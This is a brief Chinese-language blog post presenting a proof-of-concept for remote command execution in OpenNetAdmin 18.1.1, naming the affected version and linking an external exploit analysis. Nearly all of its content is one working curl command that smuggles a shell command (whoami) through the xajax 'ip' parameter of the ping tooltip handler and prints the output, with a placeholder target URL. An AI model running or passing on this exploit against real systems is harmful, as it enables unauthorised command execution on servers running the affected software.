OpenNetAdmin_18.1.1_遠程命令執行

棉花糖

2021年7月15日发布

000

# OpenNetAdmin 18.1.1 遠程命令執行
== 影響版本： ==
OpenNetAdmin 18.1.1

== POC： ==

cmd=whoami;URL=http://1.1.1.1/www/;curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

[https://zacheller.dev/open-net-admin Exploit Analysis – OpenNetAdmin 18.1.1 RCE]

文章版权归作者所有，未经允许请勿转载。

THE END